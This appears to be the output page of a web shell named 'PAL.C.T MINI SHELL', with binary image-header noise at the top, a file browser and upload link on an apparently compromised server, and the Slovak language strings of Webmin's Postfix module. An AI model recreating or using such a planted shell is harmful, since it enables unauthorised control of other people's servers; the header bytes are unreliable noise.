php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/postfix/lang/
upload
files >> //usr/libexec/webmin/postfix/lang/sk.auto

connect_emysql=Nepodarilo sa načítať ovládač databázy $1
connect_elogin=Nepodarilo sa prihlásiť do databázy $1:$2.
index_title=Poštový server Postfix
index_epath=Riadiaci príkaz Postfix $1 nie je vo vašom systéme nainštalovaný. Možno je vaša <a href='$2'>konfigurácia modulu</a> nesprávna alebo nie je nainštalovaný Postfix.
index_postfix=Postfix

internal_error=Vnútorná chyba
index_econfig=Príkaz config Postfix $1 neexistuje. Možno je vaša <a href='$2'>konfigurácia modulu</a> nesprávna.
index_esuper=Príkaz supervízie Postfixu $1 neexistuje. Možno je vaša <a href='$2'>konfigurácia modulu</a> nesprávna.
index_stop=Zastaviť Postfix
index_start=Spustiť Postfix
index_reload=Obnoviť konfiguráciu
index_stopmsg=Kliknutím na toto tlačidlo zastavíte bežiaci poštový server Postfix. Toto zastaví doručovanie pošty lokálnym používateľom z iných systémov a zabráni klientom používať tento systém ako poštový server na odosielanie pošty.
index_startmsg=Kliknutím na toto tlačidlo spustíte poštový server Postfix. Pokiaľ sa tak nestane, pošta nebude doručená miestnym používateľom z iných systémov a klienti nebudú môcť tento systém používať ako poštový server.
index_reloadmsg=Kliknite na toto tlačidlo, aby ste Postfix znovu prečítali všetky svoje konfiguračné súbory. To môže byť užitočné, ak boli konfiguračné súbory Postfixu manuálne upravené.
index_version=Verzia Postfixu $1
opts_err=Možnosti sa nepodarilo uložiť

check_error=Chyba pri kontrole aktuálnej konfigurácie Postfixu. Manuálne opravte konfiguráciu Postfixu.
check_manual=Ručne upravte konfiguračný súbor Postfix.

address_rewriting_title=Prepisovanie adries a maškaráda
address_rewriting_ecannot=Nemáte oprávnenie upravovať prepisovanie a maskovanie adries
aliases_title=Aliasy pošty
aliases_ecannot=Nemáte oprávnenie upravovať aliasy
aliases_no_alias_file=Žiadny súbor aliasu
aliases_failed_delete=Nepodarilo sa odstrániť alias: $1
aliases_cant_write=Nie je možné zapisovať do súboru aliasov
aliases_cant_read=Nedá sa prečítať v súbore alias
aliasopts_title=Aliasy Možnosti
aliases_internal_error=Aliasy: interná chyba
edit_alias_title=Upraviť alias
alias_save=Uložiť Alias
alias_save_err=Nepodarilo sa uložiť alias
alias_delete_create=Chcete odstrániť alias, ktorý práve vytvárate !?
delete_alias=Odstrániť alias
aliases_click=Kliknutím na ľubovoľný alias upravte jeho vlastnosti:
aliases_addr=Alias z ..
aliases_to=Alias ..
aliases_type1=Adresa $1
aliases_type2=Adresy v súbore $1
aliases_type3=Súbor $1
aliases_type4=Program $1
aliases_type5=Autoreply file $1
aliases_type6=Použite filtračný súbor $1
aliases_none=nikto
aliases_delete=Odstrániť vybraté aliasy

postfinger_title=Kontrola konfigurácie
postfinger_show=Šou
postfinger_ecannot=Nemáte povolenie skontrolovať konfiguráciu Postfixu

mailclean_title=Vyčistite MailQueue
mailclean_ecannot=Na čistenie poštových front nie sú žiadne privilégiá
mailclean_active=Active-Fronta
mailclean_incoming=Prichádzajúce-Fronta
mailclean_deferred=Odložená-Fronta
mailclean_defer=Odložiť-Fronta
mailclean_all=Všetky fronty
mailclean_search=Search-String

aform_type0=nikto
aform_type1=Emailová adresa
aform_type2=Adresy v súbore
aform_type3=Zápis do súboru
aform_type4=Krmivo do programu
aform_type5=Autoreply zo súboru
aform_type6=Použiť súbor filtra
aform_edit=Upraviť alias
aform_create=Vytvorenie aliasu
aform_name=adresa
aform_enabled=Povolené?
aform_val=Alias to
aform_afile=Edit ..
aform_return=prezývka
aform_cmt=popis

asave_err=Nepodarilo sa uložiť alias
asave_eaddr='$1' nie je platná adresa
asave_ealready=Alias pre $1 už existuje
asave_etype1=$1 nie je platná e-mailová adresa
asave_etype2=Súbor s adresami „$1“ nie je platný alebo neexistuje
asave_etype3=$1 nie je platný názov súboru
asave_etype4='$1' nie je platný program alebo neexistuje
asave_etype5=Autoreply súbor '$1' nie je platný
asave_etype4none=Nie je uvedený žiadny program
asave_etype6=Súbor filtra '$1' nie je platný

afile_title=Upraviť súbor s adresou
afile_desc=Pomocou textovej oblasti nižšie upravte adresy v súbore $1.
afile_efile=Nemáte oprávnenie upravovať $1.
afile_undo=Vrátiť späť zmeny
afile_ewrite=Nepodarilo sa zapísať do súboru s adresami : $1

ffile_title=Upraviť súbor filtra
ffile_desc=Použite nasledujúci formulár na nastavenie pravidiel filtrovania v súbore $1.
ffile_efile=Nemáte oprávnenie upravovať $1.
ffile_line=Ak pole $1 $2 $3, potom prejdite na $4
ffile_from=z
ffile_to=na
ffile_subject=predmet
ffile_cc=CC
ffile_body=telo
ffile_what0=nezodpovedá
ffile_what1=zápasy
ffile_other=V opačnom prípade pošlite odkaz na $1
ffile_err=Súbor filtra sa nepodarilo uložiť
ffile_ematch=Chýba zápas
ffile_eaction=Chýba presmerovacia adresa

rfile_title=Upraviť autoreply súbor
rfile_desc=Pomocou textovej oblasti nižšie upravte autoreply správu v $1. Správa môže obsahovať makrá $SUBJECT, $FROM, $TO, $DATE a $BODY, ktoré sa po aktivácii autoreply budú rozširovať.
rfile_desc2=Môžete tiež nastaviť hlavičky pošty, ktoré pridávajú alebo nahrádzajú predvolené hodnoty použité v autoreply tak, že zadáte riadky ako: <br><tt> Od: foo@bar.com </tt><br> <tt>Predmet: Na dovolenke</tt> <br> v hornej časti správy, oddelené od tela jediným prázdnym riadkom.
rfile_efile=Nemáte oprávnenie upravovať $1.
rfile_undo=Vrátiť späť zmeny
rfile_replies=Sledujete odpovede, aby ste zabránili opakovaniu pošty?
rfile_none=žiadny
rfile_file=Áno, pomocou protokolového súboru
rfile_period=Minimálny interval medzi odpoveďami
rfile_default=Predvolené (1 hodina)
rfile_secs=sekundy
rfile_ereplies=Chýba súbor denníka sledovania odpovedí
rfile_eperiod=Medzi odpoveďami chýba alebo je neplatný počet sekúnd
rfile_no_autoreply=Neposielajte automatické odpovede
rfile_from=Od: adresa pre odpoveď
rfile_auto=Automaticky (na základe adresy príjemcu)
rfile_efrom=Chýba od: adresa
rfile_fromdesc=Od: Adresa by sa mala uvádzať vždy, keď je to možné, pretože automatická metóda nemusí byť spoľahlivá.

general_title=Všeobecné možnosti
general_title_sensible=Najužitočnejšie všeobecné možnosti
general_title_others=Ďalšie všeobecné možnosti
general_ecannot=Nemáte oprávnenie upravovať Všeobecné možnosti
what_is_it=Čo je to?

opts_default=štandardné
opts_none=nikto
opts_nomap=Nie je nastavená žiadna mapa
opts_setmap=Špecifikácie mapy
opts_relayhost=Odošlite odchádzajúcu poštu prostredníctvom hostiteľa
opts_direct=Doručte priamo
opts_myorigin=Akú doménu použiť v odchádzajúcej pošte
opts_myorigin_as_myhostname=Použite názov hostiteľa
opts_myorigin_as_mydomain=Použite názov domény
opts_mydestination=Do ktorých domén dostávať poštu
opts_mydestination_default=Miestny stroj
opts_mydestination_domainwide=Celá doména
opts_notify_classes=Aké ťažkosti s podávaním správ poštárovi
opts_notify_classes_sel=Vybraté nižšie
opts_queue_directory=Adresár poštovej fronty
opts_mail_owner=Majiteľ pošty
opts_default_privs=Predvolené práva dodávateľa
opts_inet_interfaces=Sieťové rozhrania na príjem pošty
opts_all_interfaces=všetko

opts_local_recipient_maps=Odmietnuť neznámych miestnych používateľov
opts_no=žiadny
opts_save=Uložiť a použiť
opts_edir=Mapové súbory môžete zadať iba v časti $1

opts_allow_percent_hack=Prepíšte „user%domain“ na „user@domain“
opts_append_at_myorigin=Prepíšte „user“ na „user@$mydomain“
opts_append_dot_mydomain=Prepíšte „user@host“ na „user@host.$mydomain“
opts_empty_address_recipient=Poslať e-mail s prázdnym príjemcom. ..
opt_empty_recip_default=štandardné
opts_swap_bangpath=Prepíšte „site! User“ na „user @ site“
opts_masquerade_domains=Adresa maškaráda
opts_masquerade_exceptions=Maškarné výnimky
index_return=Postfixová konfigurácia

opts_alias_maps=Databázy aliasu, ktoré používa miestny doručovací agent
opts_alias_database=Databázy aliasu vytvorené príkazom „newaliases“
aliases_warning=Varovanie: <ul><li>, keď prvé pole nie je prázdne, na vytvorenie zodpovedajúcich databáz sa použije predvolený príkaz generovania aliasu Postfixu; <li>inak sa použije príkaz „newaliases“ na kompatibilitu Sendmailu, použijú sa databázy druhého poľa.</ul>

aliases_name=názov
aliases_value=Alias pre. ..

new_alias=Vytvorte nový alias
new_aliasmsg=Kliknutím na toto tlačidlo vytvoríte nový alias

local_delivery_ecannot=Nemáte dovolené upravovať možnosti miestneho doručovania
local_delivery_title=Miestne doručenie
opts_local_transport=Názov prepravy pre miestne dodávky
opts_local_transport_local=miestna
opts_local_command_shell=Používa sa na doručenie externému príkazu
opts_local_command_shell_direct=Žiadne (priame vykonávanie príkazov)
opts_forward_path=Vyhľadajte zoznam vpred
opts_allow_mail_to_commands=Platné doručovanie pošty externým príkazom
opts_allow_mail_to_files=Platné doručenie pošty do externých súborov
opts_home_mailbox=Domovská relatívna cesta k súboru poštovej schránky používateľa
opts_home_mailbox_default=Žiadne (použite štandard <tt>/var/niečo</tt>)
opts_luser_relay=Cieľová adresa pre neznámych príjemcov
opts_luser_relay_none=Žiadne (odraziť poštu)
opts_mail_spool_directory=Spool adresár
opts_mailbox_command=Externý príkaz na použitie namiesto doručenia poštovej schránky
opts_mailbox_command_none=nikto
opts_mailbox_transport=Voliteľná skutočná preprava na použitie
opts_mailbox_transport_none=nikto
opts_fallback_transport=Nepovinný príjem pre neznámych príjemcov
opts_fallback_transport_none=nikto
opts_local_destination_concurrency_limit=Maximálny počet paralelných dodávok tomu istému miestnemu príjemcovi
opts_local_destination_recipient_limit=Maximálny počet príjemcov na doručenie miestnej správy
opts_local_destination_recipient_limit_default=štandardné
opts_prepend_delivered_header=Pripravte <tt>Doručené:</tt>, keď. ..
opts_prepend_delivered_header_default=štandardné

resource_title=Všeobecná kontrola zdrojov
resource_ecannot=Nemáte oprávnenie upravovať parametre riadenia prostriedkov
opts_bounce_size_limit=Maximálna veľkosť odrazenej správy
opts_command_time_limit=Maximálny čas na doručenie do externých príkazov
opts_default_process_limit=Maximálny počet podriadených procesov Postfixu
opts_deliver_lock_attempts=Maximálny počet pokusov o získanie zámku súboru
opts_deliver_lock_delay=Čas v sekundách medzi pokusmi o zamknutie súboru
opts_duplicate_filter_limit=Maximálny počet adries zapamätaných duplikátnym filtrom
opts_fork_attempts=Maximálny pokus o rozvetvenie procesu
opts_fork_delay=Čas v sekundách medzi pokusmi o vidlice
opts_header_size_limit=Maximálna pamäť použitá na spracovanie hlavičiek
opts_line_length_limit=Maximálna pamäť použitá na manipuláciu so vstupnými linkami
opts_mailbox_size_limit=Maximálna veľkosť poštovej schránky
opts_message_size_limit=Maximálna veľkosť správy
opts_qmgr_message_active_limit=Maximálny počet správ v aktívnom fronte
opts_qmgr_message_recipient_limit=Maximálny počet príjemcov v pamäti
opts_queue_minfree=Minimálne voľné miesto v systéme súborov frontu
opts_stale_lock_time=Maximálny čas, po ktorom sa zablokovanie zablokuje
opts_transport_retry_time=Čas v sekundách medzi pokusmi o kontakt s nefunkčným MDT

opts_always_bcc=Adresa, ktorá prijíma bcc každej správy
opts_always_bcc_none=nikto
opts_daemon_timeout=Časový limit na vybavovanie žiadostí
opts_default_database_type=Predvolený typ databázy
opts_default_transport=Predvolený transport doručovania správ
opts_double_bounce_sender=Adresa odosielateľa pre odchodovú poštu
opts_hash_queue_depth=Počet čiastkových úrovní pod adresárom frontu
opts_hash_queue_names=Názov frontu rozdelených na ďalšie subdir
opts_hopcount_limit=Maximálny počet <tt>prijatých:</tt> hlavičiek
opts_ipc_idle=Nečinný čas po odpojení interného klienta IPC
opts_ipc_timeout=Časový limit pre I / O na interných komunikačných kanáloch
opts_mail_name=Názov poštového systému
opts_mail_version=Oficiálna verzia poštového systému
opts_max_idle=Čas čakať na ďalšiu požiadavku na servis
opts_max_use=Maximálny počet servisných požiadaviek vybavených pred ukončením
opts_mydomain=Názov miestnej internetovej domény
opts_mydomain_default=Predvolené (poskytované systémom)
opts_myhostname=Internetové meno hostiteľa tohto poštového systému
opts_myhostname_default=Predvolené (poskytované systémom)
opts_mynetworks=Lokálne siete
opts_mynetworks_default=Predvolené (všetky pripojené siete)
opts_mynetworks_style=Automatické lokálne siete
opts_mynetworks_subnet=Rovnaká podsieť IP
opts_mynetworks_class=Rovnaká trieda siete
opts_mynetworks_host=Iba lokálny stroj
opts_bounce_notice_recipient=Pošlite poštou oznámenie o odchode na adresu. ..
opts_2bounce_notice_recipient=Pošlite oznámenie poštou 2bounce do. ..
opts_delay_notice_recipient=Odošlite poštové oznámenie o oneskorení na. ..
opts_error_notice_recipient=Poslať správu o chybe poštou správcovi. ..
opts_process_id_directory=Zamknite súbor dir, vzhľadom na adresár frontu
opts_program_directory=Podporné programy pre postfix a démonov dir
opts_recipient_delimiter=Používateľské mená / rozšírenia adresy oddeľovača
opts_relocated_maps_default=Predvolené (zakázané)
opts_sun_mailtool_compatibility=Zakázať uzamknutie súboru jadra v poštových schránkach
opts_trigger_timeout=Maximálny čas na odoslanie spúšťača démona
opts_delay_warning_time=Čas v hodinách pred odoslaním varovania bez doručenia
opts_delay_warning_time_default2=Predpona predvolená
opts_content_filter_default=nikto

smtpd_title=Možnosti servera SMTP
smtpd_ecannot=Nemáte oprávnenie upravovať možnosti servera SMTP
opts_disable_vrfy_command=Zakázať príkaz SMTP VRFY
opts_smtpd_banner=Pozdrav s pozdravom SMTP
opts_smtpd_etrn_restrictions=Obmedziť príkaz ETRN na. ..
opts_smtpd_recipient_limit=Maximálny počet príjemcov prijatých na doručenie
opts_smtpd_timeout=Časový limit v sekundách pre transakcie SMTP
opts_smtpd_error_sleep_time=Časový limit pred odoslaním chybovej odpovede 4xx / 5xx
opts_smtpd_soft_error_limit=Počet chýb pri dočasnom ignorovaní klienta
opts_smtpd_hard_error_limit=Počet chýb pri ukončení spojenia
opts_smtpd_client_restrictions=Obmedzenia názvov a adries klientov
opts_smtpd_helo_required=Vyžaduje sa HELO
opts_smtpd_helo_restrictions=Obmedzenia pri odosielaní v príkazoch HELO
opts_smtpd_sender_restrictions=Obmedzenia týkajúce sa adries odosielateľa
opts_smtpd_recipient_restrictions=Obmedzenia týkajúce sa adries príjemcov
opts_allow_untrusted_routing=Povoliť nedôveryhodné smerovanie
opts_maps_rbl_domains=Domény DNS na vyhľadávanie na čiernej listine
opts_relay_domains=Obmedziť prenos pošty
opts_relay_recipient_maps=Mapa povolených adries pre prenos
opts_access_map_reject_code=Reakcia servera SMTP na porušenie prístupovej mapy
opts_invalid_hostname_reject_code=Reakcia servera SMTP na odmietnutie neplatného názvu hostiteľa
opts_maps_rbl_reject_code=Reakcia servera SMTP na porušenie domén RBL
opts_reject_code=Reakcia servera SMTP na odmietnutie klienta
opts_relay_domains_reject_code=Reakcia servera SMTP na zakázané prenosy
opts_unknown_address_reject_code=Reakcia servera SMTP na odmietnutie neznámej domény
opts_unknown_client_reject_code=Reakcia servera SMTP na odmietnutie neznámeho klienta
opts_unknown_hostname_reject_code=Reakcia servera SMTP na odmietnutie neznámeho názvu hostiteľa
smtpd_nomap=Zatiaľ nebola zadaná žiadna mapa s povolenými adresami pre prenos.
smtpd_nomap2=Zatiaľ nebola zadaná žiadna mapa pre obmedzenia adries odosielateľa.
smtpd_map=Povolené adresy na prenos
smtpd_map2=Obmedzenia týkajúce sa adries odosielateľa

smtp_title=Možnosti klienta SMTP
smtp_ecannot=Nemáte oprávnenie upravovať voľby klienta SMTP
opts_best_mx_transport=Akcia uvedená ako najlepší host MX
opts_best_mx_transport_default=Predvolená (správa o odchode)
opts_fallback_relay=Hostitelia / domény, ktorým sa doručujú správy na neplatný cieľ
opts_ignore_mx_lookup_error=Ignorovať chybu vyhľadávania MX
opts_smtp_skip_4xx_greeting=Vynechajte pozdrav 4xx
opts_smtp_skip_quit_response=Vynechajte čakanie na príkaz QUIT
opts_smtp_destination_concurrency_limit=Maximálny počet paralelných dodávok na ten istý cieľ
opts_smtp_destination_recipient_limit=Maximálny počet príjemcov na dodávku
opts_smtp_connect_timeout=Časový limit na dokončenie pripojenia TCP
opts_smtp_helo_timeout=Časový limit na čakanie na pozdrav banner
opts_smtp_mail_timeout=Časový limit pri čakaní na odpoveď na MAIL FROM
opts_smtp_rcpt_timeout=Časový limit pri čakaní na odpoveď na RCPT TO
opts_smtp_data_init_timeout=Časový limit pri čakaní na odpoveď na DATA
opts_smtp_data_xfer_timeout=Časový limit pri čakaní na odpoveď na prenos obsahu správy
opts_smtp_data_done_timeout=Časový limit pri čakaní na odpoveď na koniec.
opts_smtp_quit_timeout=Časový limit čaká na odpoveď na QUIT
opts_smtp_use_tls=Na pripojenie SMTP použite TLS
opts_smtp_sasl_security_options=Možnosti zabezpečenia SASL
opts_smtp_tls_security_level=Úroveň zabezpečenia klienta SMTP TLS

rate_title=Sadzby za dodanie
rate_ecannot=Nemáte dovolené upravovať možnosti sadzieb doručenia
opts_default_destination_concurrency_limit=Maximálny počet paralelných dodávok na ten istý cieľ
opts_default_destination_recipient_limit=Maximálny počet príjemcov na doručenie správy
opts_initial_destination_concurrency=Počiatočná úroveň súbežnosti pre dodanie do toho istého miesta určenia
opts_maximal_backoff_time=Maximálny čas (s) medzi pokusmi o doručenie odloženej správy
opts_maximal_queue_lifetime=Maximálny čas (dni) vo fronte, kým sa správa nedoručí
opts_minimal_backoff_time=Min. Čas (s) medzi pokusmi o doručenie odloženej správy
opts_queue_run_delay=Čas (sekundy) medzi skenovaním odloženého frontu
opts_defer_transports=Doprava, ktorá by sa nemala doručovať

debug_title=Ladiace funkcie
debug_ecannot=Nemáte oprávnenie upravovať funkcie ladenia
opts_debug_peer_list=Zoznam vzorov domén / sietí, pre ktoré je povolený podrobný protokol
opts_debug_peer_level=Pri porovnávaní s vyššie uvedeným zoznamom je podrobná úroveň protokolovania
debug_version=Postfix Module pre Webmin - verzia $1
opts_edebug=Chýbajúca alebo neplatná podrobná úroveň protokolovania - musí byť číslo väčšie ako nula

ldap_title=Vyhľadávania LDAP
ldap_ecannot=Nemáte dovolené upravovať voľby vyhľadávania LDAP
ldap_non_existent=Zdá sa, že LDAP vo vašom systéme Postfix neexistuje
opts_ldap_lookup_timeout=Časový limit pre vyhľadávanie LDAP databázy
opts_ldap_search_base=LDAP databáza na vyhľadávanie
opts_ldap_server_host=Názov hostiteľa servera LDAP

canonical_title=Kanonické mapovanie
canonical_ecannot=Nemáte oprávnenie upravovať konfiguráciu kanonického mapovania
opts_canonical_maps=Vyhľadávacie tabuľky mapovania adries
opts_recipient_canonical_maps=Tabuľky pre adresy príjemcov
opts_sender_canonical_maps=Tabuľky pre adresy odosielateľa
edit_canonical_maps=Upravujte kanonické mapy
edit_recipient_canonical_maps=Upraviť príjemcu Canonical Maps
edit_sender_canonical_maps=Upraviť odosielateľa kanonických máp
edit_canonical_maps_general=Kliknutím na jedno z týchto tlačidiel môžete editovať kanonické mapy.
canonical_edit_title=Upraviť kanonickú mapu
canonical_return_sender=odosielateľské kanonické mapy
canonical_return_recipient=recipientské kanonické mapy
canonical_return=kanonické mapy

mapping_name=názov
mapping_value=Mapy. ..
mapping_delete=Zmaž označené
mapping_cmt=popis
mapping_ecannot=Mapy môžete upravovať iba v rámci $1
new_mapping=Pridajte nové mapovanie.
new_mappingmsg=Kliknutím na toto tlačidlo vytvoríte nové mapovanie
new_manual=Ručné úpravy mapy
new_manualmsg=Kliknutím na toto tlačidlo ručne upravíte súbory, z ktorých je táto mapa vytvorená.
map_save=Uložiť mapovanie
delete_map=Odstrániť mapovanie
edit_map_title=Upraviť mapu
map_save_err=Pri ukladaní mapovania sa vyskytla chyba
mapps_no_map_file=Nie je definovaný žiadny súbor mapy
map_delete_failed=Mapu sa nepodarilo odstrániť: $1
map_delete_create=Mapu, ktorú práve vytvárate, nemožno odstrániť
maps_internal_error=Mapa: vnútorná chyba
maps_cant_write=Nevie písať
help_map_format=Aký formát by som mal použiť?
map_noname=Chýba alebo je neplatný názov mapovania
map_cannot=Túto mapu nie je možné upravovať : $1
map_unknown=Webmin nepodporuje typ mapy $1
mapping_none=Zatiaľ neboli definované žiadne mapovania tohto typu.
mapping_toomany=Existujú položky mapy $1, čo je nad limitom zobrazenia $2.
mapping_find=Zobraziť zodpovedajúce mapovania:
mapping_search=Vyhľadávanie
mapping_match=Položky mapového súboru zodpovedajúce <tt>$1</tt> ..

virtual_title=Virtuálne domény
virtual_ecannot=Nemáte oprávnenie upravovať konfiguráciu mapovania virtuálnych domén
opts_virtual_maps=Vyhľadávacie tabuľky mapovania domén
opts_virtual_alias_maps=Vyhľadávacie tabuľky mapovania domén
opts_virtual_alias_domains=Domény na vykonávanie virtuálneho mapovania domény
virtual_same=Z tabuliek mapovania domén
virtual_return=virtuálne domény

transport_title=Mapovanie dopravy
transport_ecannot=Nemáte oprávnenie upravovať konfiguráciu mapovania prepravy
opts_transport_maps=Vyhľadávacie tabuľky mapovania prepravy
transport_return=dopravné mapy

sni_title=Mapovanie certifikátov
sni_ecannot=Nemáte oprávnenie upravovať konfiguráciu mapovania certifikátov
opts_sni_maps=Vyhľadávacie tabuľky mapovania certifikátov
sni_return=mapy certifikátov
sni_dom=Meno hosťa
sni_certs=Súbory s certifikátmi

relocated_title=Premiestnené mapovanie
relocated_ecannot=Nemáte oprávnenie upravovať konfiguráciu premiestneného mapovania
relocated_return=premiestnené mapy
opts_relocated_maps=Premiestnené vyhľadávacie tabuľky mapovania
opts_content_filter=Filter obsahu e-mailu

map_click=Kliknutím na ktorékoľvek mapovanie upravíte jeho vlastnosti:
no_map=(Momentálne nie je definovaná žiadna mapa. Najskôr definujte mapu a potom ju môžete upraviť)
no_map2=Momentálne nie je definovaná žiadna mapa. Najskôr definujte mapu a potom ju môžete upraviť.

stop_efailed=Postfix sa nepodarilo zastaviť
stop_ecannot=Nie je dovolené zastaviť Postfix

start_efailed=Nepodarilo sa spustiť Postfix
start_ecannot=Nemáte povolenie spustiť Postfix

reload_efailed=Nepodarilo sa znova načítať Postfix
reload_ecannot=Nemáte oprávnenie znova načítať Postfix

query_get_efailed=Nepodarilo sa spýtať príkaz Postfix config na získanie aktuálnej hodnoty parametra $1: <tt>$2</tt>
query_set_efailed=Nepodarilo sa spýtať príkaz Postfix config na nastavenie aktuálnej hodnoty parametra $1 na $2: <tt>$3</tt>
regenerate_ecannot=Nemáte povolenie regenerovať Aliasy
regenerate_alias_efailed=Nepodarilo sa regenerovať aliasy: <tt>$1</tt>
regenerate_table_efailed=Nepodarilo sa regenerovať tabuľku $1: <tt>$2</tt>

acl_resource=Môžete upravovať zdroje?
acl_aliases=Môžete upravovať aliasy?
acl_aliases_options=Môžete upravovať možnosti aliasu?
acl_general=Môžete upravovať všeobecné možnosti?
acl_address_rewriting=Môžete upravovať prepisovanie adries?
acl_canonical=Môže editovať kanonický?
acl_virtual=Môže editovať virtuálne?
acl_transport=Môžete upravovať transport?
acl_sni=Môžete upravovať certifikáty?
acl_relocated=Je možné úpravy premiestniť?
acl_header=Je možné upraviť kontrolu hlavičiek?
acl_local_delivery=Môžete upraviť miestne doručenie?
acl_smtpd=Môžete upravovať smtpd?
acl_sasl=Môžete upraviť overenie SMTP?
acl_client=Môžete upraviť obmedzenia klienta SMTP?
acl_smtp=Môžete upravovať smtp?
acl_rate=Môže upravovať rýchlosť?
acl_debug=Môžete upraviť ladenie?
acl_ldap=Môžete editovať ldap?
acl_master=Môžete upravovať procesy servera?
acl_startstop=Môže spustiť a zastaviť postfix?
acl_mailq=Dokážete spravovať e-mailovú frontu?
acl_boxes=Dokáže čítať e-maily používateľov?
acl_postfinger=Môžete skontrolovať nastavenie postfixu?
acl_manual=Môžete upraviť konfiguračný súbor?
acl_dir=Povolený adresár pre súbory máp
acl_bcc=Môžete upravovať mapovanie BCC?

boxes_title=Používateľské schránky
boxes_user=užívateľ
boxes_size=Veľkosť poštovej schránky
boxes_none=Žiadna pošta
boxes_return=poštových schránok
boxes_sent=Odoslaná pošta
boxes_ecannot=Nemáte oprávnenie čítať e-maily
boxes_toomany=Vo vašom systéme je príliš veľa používateľov na to, aby uviedli všetky svoje poštové schránky.
boxes_go=Zobraziť poštu pre používateľa:

mail_title=E-mail používateľa
mail_from=z
mail_date=Dátum
mail_subject=predmet
mail_to=na
mail_cc=cc
mail_bcc=skrytá
mail_pri=priorita
mail_highest=najvyššiu
mail_high=vysoký
mail_normal=normálne
mail_low=nízky
mail_lowest=najnižšia
mail_for=V $1
mail_for2=Pre používateľa $1
mail_sent=V zozname odoslaných správ
mail_size=veľkosť
mail_delete=delete
mail_compose=Compose
mail_return=schránka používateľa
mail_pos=Správy $1 do $2 z $3
mail_none=Táto poštová schránka neobsahuje žiadne správy
mail_ecannot=Nemáte oprávnenie čítať e-maily tohto používateľa
mail_all=Vybrať všetko
mail_invert=Obrátiť výber
mail_search=Nájsť správy, kde
mail_body=telo
mail_match=zápasy
mail_ok=Vyhľadávanie
mail_nonefrom=nikto
mail_mark=Označiť ako:
mail_mark0=neprečítaný
mail_mark1=Čítať
mail_mark2=špeciálna
mail_forward=vpred
mail_rfc=Z riadku
mail_move=Presunúť do:
mail_eexists=Správa už neexistuje!

view_title=Prečítajte si e-mail
view_desc=Správa $1 v $2
view_desc2=Správa $1 pre používateľa $2
view_desc3=Správa $1
view_sent=Správa $1 v zozname odoslaných správ
view_qdesc=Správa vo fronte $1
view_headers=Hlavičky pošty
view_allheaders=Zobraziť všetky hlavičky
view_noheaders=Zobraziť základné hlavičky
view_attach=prílohy
view_reply=odpoveď
view_reply2=Odpovedať všetkým
view_enew=Upraviť ako nové
view_forward=vpred
view_delete=delete
view_flush=Spláchnuť
view_strip=Odstráňte prílohy
view_ecannot=Nemáte oprávnenie čítať e-maily tohto používateľa
view_mark=Označiť správu ako:
view_mark0=neprečítaný
view_mark1=Čítať
view_mark2=špeciálna
view_return=pôvodný e-mail
view_sub=Priložený e-mail
view_body=Text správy
view_afile=Názov prílohy
view_atype=Typ prílohy
view_aname=Príloha
view_asize=Veľkosť súboru

compose_title=Napíšte e-mail
reply_title=Odpoveď na e-mail
forward_title=Poslať ďalej e-mailom
enew_title=Upraviť e-mail
reply_headers=Hlavičky pošty
reply_attach=Preposlané prílohy
reply_mailforward=Preposlané správy
reply_attach2=Prílohy na strane klienta a servera
reply_send=Poslať mail
reply_ecannot=Ako tento používateľ nemáte povolené odosielať poštu

send_err=Nepodarilo sa odoslať poštu
send_eto=Chýba adresa
send_efrom=Chýba adresa
send_title=Pošta odoslaná
send_ok=Pošta bola úspešne odoslaná na adresu $1
send_ecannot=Ako tento používateľ nemáte povolené odosielať poštu
send_esmtp=Príkaz SMTP $1 zlyhal : $2
send_efile=Pripojený súbor $1 neexistuje
send_eattach=Prílohy nemôžu celkovo presahovať veľkosť $1 kB.
send_eperms=Používateľ $1 nevie čítať $2
send_eperms2=Nemáte povolenie odosielať súbor $1
send_epath=Spustiteľný program Sendmail $1 neexistuje.
send_ewrapper=Program rozhrania sendfix pre Postfix neexistuje

search_title=Výsledky vyhľadávania
search_ecannot=Nemáte povolené prehľadávať e-maily tohto používateľa
search_ematch=Musíte zadať text, aby sa zhodoval s.
search_efield=Musíte vybrať typ vyhľadávania.
search_none=Nenašli sa žiadne správy.
search_results2=$1 poštové správy zodpovedajúce $2 ..
search_results3=Poštové správy $1 sa nezhodujú $2 ..

match_from=Z: zápasy
match_subject=Predmet: zápasy
match_to=Komu: zápasy
match_cc=Kópia: zápasy
match_date=Dátum: zápasy
match_body=Zápasy tela
match_size=Veľkosť je väčšia ako
match_headers=Záhlavia zápas
match_=-----------------
match_!from=Od: nezodpovedá
match_!subject=Predmet: nezodpovedá
match_!to=Komu: nezodpovedá
match_!cc=Kópia: nezhoduje sa
match_!date=Dátum: nezhoduje sa
match_!body=Telo sa nezhoduje
match_!size=Veľkosť je menšia ako
match_!headers=Záhlavia sa nezhodujú

mailq_title=Poštový front
mailq_count=$1 správy
mailq_none=Momentálne nie sú k dispozícii žiadne poštové správy na odoslanie
mailq_id=ID pošty
mailq_date=odoslané
mailq_from=z
mailq_to=na
mailq_cc=cc
mailq_subject=predmet
mailq_return=frontu pošty
mailq_delete=Odstrániť vybrané správy
mailq_size=veľkosť
mailq_ecannot=Nemáte povolenie na prezeranie e-mailového frontu
mailq_egone=Správa už nie je vo fronte
mailq_status=Postavenie
mailq_flush=Vyprázdniť frontu pošty
mailq_flushdesc=Kliknutím na toto tlačidlo vynútite okamžité doručenie všetkých správ vo fronte a zobrazíte výsledky.
mailq_refresh=Obnoviť frontu pošty
mailq_refreshdesc=Načítaním tejto stránky zobrazíte aktuálny stav frontu pošty.
mailq_deleteall=Vymazať frontu správ
mailq_deletealldesc=Kliknutím na toto tlačidlo vymažete všetky správy v poštovom fronte.
mailq_search=Nájdite správy vo fronte, kde
mailq_move=Vybratá požiadavka
mailq_incoming=prichádzajúce
mailq_active=aktívny
mailq_deferred=odložené
mailq_hold=Vybraté
mailq_unhold=Zrušené pozastavenie vybraté

flushq_title=Splachovacia fronta
flushq_desc=Vynútenie pokusu o doručenie pošty príkazom $1 ..

qview_title=Správa vo fronte
qview_desc=Zo súboru $1
qview_headers=Hlavičky pošty
qview_attach=prílohy

after_err=Chyba konfigurácie Postfixu : $1

searchq_title=Výsledky vyhľadávania vo fronte
